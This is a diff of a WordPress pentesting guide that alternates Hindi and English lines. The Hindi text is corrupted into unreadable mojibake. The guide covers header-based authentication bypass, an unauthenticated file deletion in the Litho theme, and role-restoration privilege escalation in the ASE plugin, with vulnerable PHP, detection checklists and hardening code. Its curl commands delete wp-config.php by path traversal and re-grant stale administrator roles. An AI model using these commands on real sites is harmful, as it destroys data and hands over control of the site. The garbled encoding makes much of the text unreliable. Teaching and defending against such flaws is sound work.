edge), рдлрд┐рд░ рдПрдХ signed token рдкрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ server-side рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВред -- рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рд╡рд╛рд▓реЗ REST routes рдХреЗ рд▓рд┐рдП `current_user_can()` рдЪреЗрдХреНрд╕ рдФрд░ рдПрдХ рдХрдбрд╝рд╛ `permission_callback` рдЖрд╡рд╢реНрдпрдХ рдХрд░реЗрдВ (`__return_true` рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ)ред -- рд╣реЗрдбрд░ тАЬimpersonationтАЭ рдХреА рдмрдЬрд╛рдп first-party auth (cookies, application passwords, OAuth) рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред +- Never derive authentication or authorization from client-controlled headers. +- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side. +- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`). +- Prefer first-party auth (cookies, application passwords, OAuth) over header тАЬimpersonationтАЭ. -References: рдкреГрд╖реНрда рдХреЗ рдЕрдВрдд рдореЗрдВ рджрд┐рдП рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ рдЬреЛ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреЗрд╕ рдФрд░ рд╡реНрдпрд╛рдкрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВред +References: see the links at the end of this page for a public case and broader analysis. -### рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд▓реЛрдкрди via wp_ajax_nopriv (Litho Theme <= 3.0) +### wp_ajax_nopriv рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдорд╛рдгрд┐рдХрддрд╛-рд░рд╣рд┐рдд рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд▓реЛрдкрди (Litho Theme <= 3.0) -WordPress themes and plugins рдЕрдХреНрд╕рд░ AJAX handlers рдХреЛ `wp_ajax_` рдФрд░ `wp_ajax_nopriv_` hooks рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬ рдХрд░рддреЗ рд╣реИрдВред рдЬрдм **_nopriv_** variant рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ **callback рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рд╡рд┐рдЬрд┐рдЯрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХреНрд░рд┐рдпрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: +WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: -1. рдПрдХ **capability check** (рдЙрджрд╛., `current_user_can()` рдпрд╛ рдХрдо рд╕реЗ рдХрдо `is_user_logged_in()`), рдФрд░ -2. рдПрдХ **CSRF nonce** рдЬрд┐рд╕реЗ `check_ajax_referer()` / `wp_verify_nonce()` рд╕реЗ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдФрд░ -3. **рдХрдареЛрд░ рдЗрдирдкреБрдЯ sanitisation / validation**ред +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +3. **Strict input sanitisation / validation**. -The Litho multipurpose theme (< 3.1) рдиреЗ *Remove Font Family* рдлреАрдЪрд░ рдореЗрдВ рдЙрди 3 рдирд┐рдпрдВрддреНрд░рдгреЛрдВ рдХреЛ рднреВрд▓ рдЧрдпрд╛ рдФрд░ рдЕрдВрддрддрдГ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб (рд╕рд░рд▓реАрдХреГрдд) рд╢рд┐рдк рдХрд┐рдпрд╛: +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -445,31 +443,31 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╕рдорд╕реНрдпрд╛рдПрдБ: +рдЗрд╕ рд╕реНрдирд┐рдкреЗрдЯ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╕рдорд╕реНрдпрд╛рдПрдБ: -* **рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╣реБрдБрдЪ** тАУ `wp_ajax_nopriv_` hook рдкрдВрдЬреАрдХреГрдд рд╣реИред -* **рдХреЛрдИ nonce / capability check рдирд╣реАрдВ** тАУ рдХреЛрдИ рднреА рд╡рд┐рдЬрд╝рд┐рдЯрд░ endpoint рдХреЛ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -* **рдХреЛрдИ path sanitisation рдирд╣реАрдВ** тАУ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдирд┐рдпрдВрддреНрд░рд┐рдд `fontfamily` рд╕реНрдЯреНрд░рд┐рдВрдЧ рдмрд┐рдирд╛ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрде рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝ рджреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреНрд▓рд╛рд╕рд┐рдХ `../../` traversal рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +* **рдЕрдкреНрд░рдорд╛рдгрд┐рдд рдкрд╣реБрдБрдЪ** тАУ `wp_ajax_nopriv_` hook рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +* **No nonce / capability check** тАУ рдХреЛрдИ рднреА visitor endpoint рдХреЛ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +* **No path sanitisation** тАУ userтАУcontrolled `fontfamily` string рдмрд┐рдирд╛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЗ filesystem path рдореЗрдВ concatenate рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ classic `../../` traversal рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -#### Exploitation +#### рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди -рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХрд▓ HTTP POST request рднреЗрдЬрдХрд░ **uploads base directory рдХреЗ рдиреАрдЪреЗ** (рдЖрдо рддреМрд░ рдкрд░ `/wp-content/uploads/`) рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ рд╣рдЯрд╛ рд╕рдХрддрд╛ рд╣реИ: +рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ single HTTP POST request рднреЗрдЬрдХрд░ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ **uploads base directory рдХреЗ рдиреАрдЪреЗ** (рдЖрдорддреМрд░ рдкрд░ `/wp-content/uploads/`) рд╕реЗ рдбрд┐рд▓реАрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╡рд┐рдЬрд╝рд╛рд░реНрдб* on the next visit, enabling a full site take-over (рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рдПрдХ рдирдпрд╛ DB configuration рджреЗрддрд╛ рд╣реИ рдФрд░ рдПрдХ admin рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИ). +рдЪреВрдБрдХрд┐ `wp-config.php` *uploads* рдХреЗ рдмрд╛рд╣рд░ рд░рд╣рддрд╛ рд╣реИ, рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдкрд░ рдЪрд╛рд░ `../` рдЕрдиреБрдХреНрд░рдо рдкрд░реНрдпрд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВред `wp-config.php` рдХреЛ рд╣рдЯрд╛рдиреЗ рдкрд░ рдЕрдЧрд▓реА рд╡рд┐рдЬрд╝рд┐рдЯ рдкрд░ WordPress рдХреЛ *рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рд╡рд┐рдЬрд╝рд╛рд░реНрдб* рдореЗрдВ рдбрд╛рд▓ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреВрд░рд╛ рд╕рд╛рдЗрдЯ рдЯреЗрдХрдУрд╡рд░ рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ (рд╣рдорд▓рд╛рд╡рд░ рдХреЗрд╡рд▓ рдирдпрд╛ DB рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рджреЗрддрд╛ рд╣реИ рдФрд░ рдПрдХ рдПрдбрдорд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рддрд╛ рд╣реИ)ред -Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. +рдЕрдиреНрдп рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд▓рдХреНрд╖реНрдп plugin/theme `.php` files (рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЛ рддреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП) рдпрд╛ `.htaccess` rules рд╣реИрдВред -#### рдбрд┐рдЯреЗрдХреНрд╢рди рдЪреЗрдХрд▓рд┐рд╕реНрдЯ +#### Detection checklist -* рдХреЛрдИ рднреА `add_action( 'wp_ajax_nopriv_...')` callback рдЬреЛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╣реЗрд▓реНрдкрд░реНрд╕ (`copy()`, `unlink()`, `$wp_filesystem->delete()`, рдЖрджрд┐) рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реЛред -* рдкрдереЛрдВ рдореЗрдВ рд╕рд╛рдлрд╝ рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдЬреЛрдбрд╝рдирд╛ (рджреЗрдЦреЗрдВ `$_POST`, `$_GET`, `$_REQUEST`)ред -* `check_ajax_referer()` рдФрд░ `current_user_can()`/`is_user_logged_in()` рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ред +* рдХреЛрдИ рднреА `add_action( 'wp_ajax_nopriv_...')` callback рдЬреЛ filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, рдЖрджрд┐) рдХреЛ рдХреЙрд▓ рдХрд░реЗред +* рдкрдереЛрдВ рдореЗрдВ рдЕрд╕реИрдирд┐рдЯрд╛рдЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХрд╛ рд╕рдВрдпреЛрдЬрди (рджреЗрдЦреЗрдВ `$_POST`, `$_GET`, `$_REQUEST`)ред +* `check_ajax_referer()` рдФрд░ `current_user_can()`/`is_user_logged_in()` рдХрд╛ рдЕрднрд╛рд╡ред -#### рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ +#### рдХрдареЛрд░рдХрд░рдг ```php function secure_remove_font_family() { if ( ! is_user_logged_in() ) { @@ -489,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_ // ЁЯФТ NO wp_ajax_nopriv_ registration ``` > [!TIP] -> **рд╣рдореЗрд╢рд╛** рдХрд┐рд╕реА рднреА write/delete рдСрдкрд░реЗрд╢рди рдХреЛ рдбрд┐рд╕реНрдХ рдкрд░ privileged рдорд╛рдиреЗрдВ рдФрд░ рджреЛрдмрд╛рд░рд╛ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ: +> **Always** рдХрд┐рд╕реА рднреА disk рдкрд░ write/delete рдСрдкрд░реЗрд╢рди рдХреЛ privileged рд╕рдордЭреЗрдВ рдФрд░ рдирд┐рдореНрди рдХреА рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЬрд╛рдБрдЪ рдХрд░реЗрдВ: > тАв Authentication тАв Authorisation тАв Nonce тАв Input sanitisation тАв Path containment (e.g. via `realpath()` plus `str_starts_with()`). --- -### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") +### Privilege escalation: stale role restoration рдФрд░ missing authorization рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ (ASE "View Admin as Role") -рдХрдИ plugins рдПрдХ "view as role" рдпрд╛ temporary role-switching feature рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдореВрд▓ role(s) рдХреЛ user meta рдореЗрдВ рд╕реЗрд╡ рдХрд░рдХреЗ рдмрд╛рдж рдореЗрдВ restore рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд░рдЦрддреЗ рд╣реИрдВред рдпрджрд┐ restoration path рдХреЗрд╡рд▓ request parameters (e.g., `$_REQUEST['reset-for']`) рдФрд░ plugin-maintained рд╕реВрдЪреА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ capabilities рдФрд░ рд╡реИрдз nonce рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛, рддреЛ рдпрд╣ рдПрдХ vertical privilege escalation рдмрди рдЬрд╛рддрд╛ рд╣реИред +рдХрдИ plugins "view as role" рдпрд╛ temporary role-switching рдлрд╝реАрдЪрд░ implement рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рд╕реЗ original role(s) рдХреЛ user meta рдореЗрдВ рд╕реЗрд╡ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдмрд╛рдж рдореЗрдВ restore рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ restoration path рдХреЗрд╡рд▓ request parameters (рдЙрджрд╛., `$_REQUEST['reset-for']`) рдФрд░ plugin-maintained list рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ capabilities рддрдерд╛ рд╡реИрдз nonce рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛, рддреЛ рдпрд╣ рдПрдХ vertical privilege escalation рдмрди рдЬрд╛рддрд╛ рд╣реИред -рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг Admin and Site Enhancements (ASE) plugin (тЙд 7.6.2.1) рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ред reset branch рдиреЗ roles рдХреЛ `reset-for=` рдХреЗ рдЖрдзрд╛рд░ рдкрд░ restore рдХрд┐рдпрд╛ рдЕрдЧрд░ username internal array `$options['viewing_admin_as_role_are']` рдореЗрдВ рдореМрдЬреВрдж рд╣реЛ, рд▓реЗрдХрд┐рди current roles рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ user meta `_asenha_view_admin_as_original_roles` рд╕реЗ saved roles рдХреЛ рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рди рддреЛ `current_user_can()` рдЪреЗрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рди рд╣реА рдХреЛрдИ nonce verification: +рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрджрд╛рд╣рд░рдг Admin and Site Enhancements (ASE) plugin (тЙд 7.6.2.1) рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ред reset branch рдиреЗ roles рдХреЛ `reset-for=` рдХреЗ рдЖрдзрд╛рд░ рдкрд░ restore рдХрд┐рдпрд╛ рдЕрдЧрд░ username internal array `$options['viewing_admin_as_role_are']` рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рдерд╛, рд▓реЗрдХрд┐рди current roles рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ user meta `_asenha_view_admin_as_original_roles` рд╕реЗ saved roles рдХреЛ рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рди рддреЛ `current_user_can()` рдЪреЗрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рди рд╣реА nonce verification рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -513,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Why itтАЩs exploitable +рдХреНрдпреЛрдВ рдпрд╣ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ -- рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдмрд┐рдирд╛ `$_REQUEST['reset-for']` рдФрд░ plugin рд╡рд┐рдХрд▓реНрдк рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИред -- рдпрджрд┐ рдХрд┐рд╕реА user рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ `_asenha_view_admin_as_original_roles` рдореЗрдВ рдЙрдЪреНрдЪ-рдкреНрд░рд╛рдзрд┐рдХрд╛рд░ рд╕рд╣реЗрдЬреЗ рдЧрдП рдереЗ рдФрд░ рдмрд╛рдж рдореЗрдВ рдЙрдиреНрд╣реЗрдВ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рд╡реЗ reset path рдХреЛ рд╣рд┐рдЯ рдХрд░рдХреЗ рдЙрдиреНрд╣реЗрдВ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- рдХреБрдЫ deployments рдореЗрдВ, рдХреЛрдИ рднреА рдкреНрд░рдорд╛рдгреАрдХреГрдд user `viewing_admin_as_role_are` рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рдХрд┐рд╕реА рдЕрдиреНрдп username рдХреЗ рд▓рд┐рдП reset рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЯреВрдЯреА рд╣реБрдИ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЬрд╛рдБрдЪ)ред +- `$_REQUEST['reset-for']` рдФрд░ рдПрдХ plugin option рдХреЛ рдмрд┐рдирд╛ server-side authorization рдХреЗ рднрд░реЛрд╕рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- рдЕрдЧрд░ рдХрд┐рд╕реА user рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ `_asenha_view_admin_as_original_roles` рдореЗрдВ higher privileges рд╕рд╣реЗрдЬреЗ рд╣реБрдП рдереЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ downgraded рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛, рддреЛ рд╡реЗ reset path рдкрд░ рдЬрд╛рдХрд░ рдЙрдиреНрд╣реЗрдВ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- рдХреБрдЫ deployments рдореЗрдВ, рдХреЛрдИ рднреА authenticated user `viewing_admin_as_role_are` рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рдХрд┐рд╕реА рдЕрдиреНрдп username рдХреЗ рд▓рд┐рдП reset trigger рдХрд░ рд╕рдХрддрд╛ рд╣реИ (broken authorization)ред -Attack prerequisites +рд╣рдорд▓реЗ рдХреА рдкреВрд░реНрд╡-рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ -- рдХрдордЬреЛрд░ plugin рд╕рдВрд╕реНрдХрд░рдг рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдлреАрдЪрд░ рд╕рдХреНрд╖рдо рд╣реЛред -- рд▓рдХреНрд╖рд┐рдд рдЦрд╛рддрд╛ рдХреЗ user meta рдореЗрдВ рдкрд╣рд▓реЗ рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдПрдХ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдЙрдЪреНрдЪ-рдкреНрд░рд╛рдзрд┐рдХрд╛рд░ рд░реЛрд▓ рдореМрдЬреВрдж рд╣реЛрдирд╛ред -- рдХреЛрдИ рднреА рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╕рддреНрд░; reset flow рдкрд░ nonce/capability рдХреА рдХрдореАред +- Vulnerable plugin version рдЬрд┐рд╕рдореЗрдВ рдпрд╣ feature enabled рд╣реЛред +- рд▓рдХреНрд╖рд┐рдд account рдХреЗ user meta рдореЗрдВ рдкрд╣рд▓реЗ рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рдПрдХ stale high-privilege role рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +- рдХреЛрдИ рднреА authenticated session; reset flow рдкрд░ nonce/capability рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрдирд╛ред Exploitation (example) ```bash @@ -533,34 +531,34 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges. +рдХрдордЬреЛрд░ рдмрд┐рд▓реНрдб рдкрд░ рдпрд╣ рд╡рд░реНрддрдорд╛рди рднреВрдорд┐рдХрд╛рдУрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ рд╕рд╣реЗрдЬреА рдЧрдИ рдореВрд▓ рднреВрдорд┐рдХрд╛рдПрдБ (рдЙрджрд╛., `administrator`) рдлрд┐рд░ рд╕реЗ рдЬреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрдврд╝ рдЬрд╛рддреА рд╣реИрдВред Detection checklist -- рдРрд╕реА role-switching рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ user meta рдореЗрдВ тАЬрдореВрд▓ рднреВрдорд┐рдХрд╛рдПрдБтАЭ (рдЙрджрд╛., `_asenha_view_admin_as_original_roles`) рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреА рд╣реИрдВред -- Identify reset/restore paths that: -- `$_REQUEST` / `$_GET` / `$_POST` рд╕реЗ usernames рдкрдврд╝рддреЗ рд╣реИрдВред -- `add_role()` / `remove_role()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ roles рдмрджрд▓рддреЗ рд╣реИрдВ рдмрд┐рдирд╛ `current_user_can()` рдФрд░ `wp_verify_nonce()` / `check_admin_referer()` рдХреЗред -- рдХрд┐рд╕реА plugin option array (рдЙрджрд╛., `viewing_admin_as_role_are`) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ authorize рдХрд░рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп actor рдХреА capabilities рдХреЗред +- рдРрд╕реА role-switching рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ user meta рдореЗрдВ тАЬoriginal rolesтАЭ рдХреЛ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреА рд╣реИрдВ (рдЙрджрд╛., `_asenha_view_admin_as_original_roles`)ред +- рдЙрди reset/restore paths рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ рдЬреЛ: +- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдореЛрдВ рдХреЛ `$_REQUEST` / `$_GET` / `$_POST` рд╕реЗ рдкрдврд╝рддреЗ рд╣реИрдВред +- `add_role()` / `remove_role()` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ roles рдХреЛ modify рдХрд░рддреЗ рд╣реИрдВ рдмрд┐рдирд╛ `current_user_can()` рдФрд░ `wp_verify_nonce()` / `check_admin_referer()` рдХреЗред +- plugin option array (рдЙрджрд╛., `viewing_admin_as_role_are`) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ authorize рдХрд░рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗред Hardening -- рд╣рд░ state-changing рдмреНрд░рд╛рдВрдЪ рдкрд░ capability checks рд▓рд╛рдЧреВ рдХрд░реЗрдВ (рдЙрджрд╛., `current_user_can('manage_options')` рдпрд╛ рдЕрдзрд┐рдХ рдХрдбрд╝рд╛)ред -- рд╕рднреА role/permission рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд▓рд┐рдП nonces рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ verify рдХрд░реЗрдВ: `check_admin_referer()` / `wp_verify_nonce()`ред -- рдХрднреА рднреА request-supplied usernames рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВ; authenticated actor рдФрд░ рд╕реНрдкрд╖реНрдЯ рдиреАрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ target user рдХреЛ server-side рдкрд░ resolve рдХрд░реЗрдВред -- рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓/role рдЕрдкрдбреЗрдЯреНрд╕ рдкрд░ тАЬoriginal rolesтАЭ рд╕реНрдЯреЗрдЯ рдХреЛ invalid рдХрд░ рджреЗрдВ рддрд╛рдХрд┐ stale рдЙрдЪреНрдЪ-рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬрд╝ рдкреБрдирд░реНрд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗ: +- рд╣рд░ рд╕реНрдерд┐рддрд┐-рдкрд░рд┐рд╡рд░реНрддрди рд╢рд╛рдЦрд╛ рдкрд░ capability checks рд▓рд╛рдЧреВ рдХрд░реЗрдВ (рдЙрджрд╛., `current_user_can('manage_options')` рдпрд╛ рдЬрд╝реНрдпрд╛рджрд╛ рд╕рдЦреНрдд)ред +- рд╕рднреА role/permission рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд▓рд┐рдП nonces рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ: `check_admin_referer()` / `wp_verify_nonce()`ред +- рдХрднреА рднреА request-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП usernames рдкрд░ рднрд░реЛрд╕рд╛ рди рдХрд░реЗрдВ; рд▓рдХреНрд╖реНрдп 